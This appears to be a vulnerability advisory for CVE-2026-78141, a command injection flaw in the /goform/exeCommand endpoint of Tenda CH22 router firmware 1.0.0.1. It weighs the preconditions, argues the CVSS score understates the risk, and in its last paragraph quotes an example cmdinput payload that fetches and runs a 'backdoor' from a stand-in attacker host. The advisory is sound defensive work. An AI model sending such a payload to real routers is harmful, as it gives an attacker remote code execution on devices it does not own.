Tenda CH22 CVE-2026-78141

Exploitation requires low-privilege authenticated access to the Tenda CH22 web administration interface (CVSS 4.0 PR:L), meaning an attacker must possess valid credentials - however, SOHO routers frequently retain factory-default credentials (admin/admin or similar), significantly lowering this bar in practice. The vulnerable endpoint /goform/exeCommand must be reachable by the attacker, which is the case on the LAN by default and on the WAN if remote management is enabled (a common misconfiguration). No user interaction is required once access is established. Exploitation is limited by: (1) the requirement for at least low-privilege credentials, (2) the need for network reachability to the admin interface, and (3) the single affected firmware version (1.0.0.1) - other versions are neither confirmed vulnerable nor confirmed safe from available data.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N with all impacts at Low) yields a score of 5.3, which appears inconsistently low for a network-reachable command injection vulnerability on a router - typically the most privileged execution context on the device. The Low impact ratings (VC:L/VI:L/VA:L/SC:L/SI:L/SA:L) are difficult to reconcile with the nature of command injection on embedded Linux, and may reflect conservative scoring by the reporter rather than confirmed technical sandboxing. The E:P supplemental metric confirms a publicly available proof-of-concept, raising real-world exploitation risk above the base score. No CISA KEV listing is present, and no EPSS score was provided in the input data, so breadth-of-exploitation signals are limited. The primary real-world risk driver is the public POC combined with the prevalence of internet-exposed SOHO router admin panels - many home routers have their management interface inadvertently exposed to WAN interfaces. Defenders should treat this as a higher-priority issue than the score alone suggests, particularly for any deployment with remote management enabled.

An attacker with low-privilege credentials to the Tenda CH22 web interface - or exploiting default/weak credentials common on SOHO routers - sends a crafted POST request to /goform/exeCommand with a shell metacharacter-injected cmdinput value such as ping 127.0.0.1; wget http://attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd. A public proof-of-concept demonstrating this technique has been disclosed, meaning exploitation requires minimal technical skill. If the management interface is exposed to the internet, this attack is executable without physical access.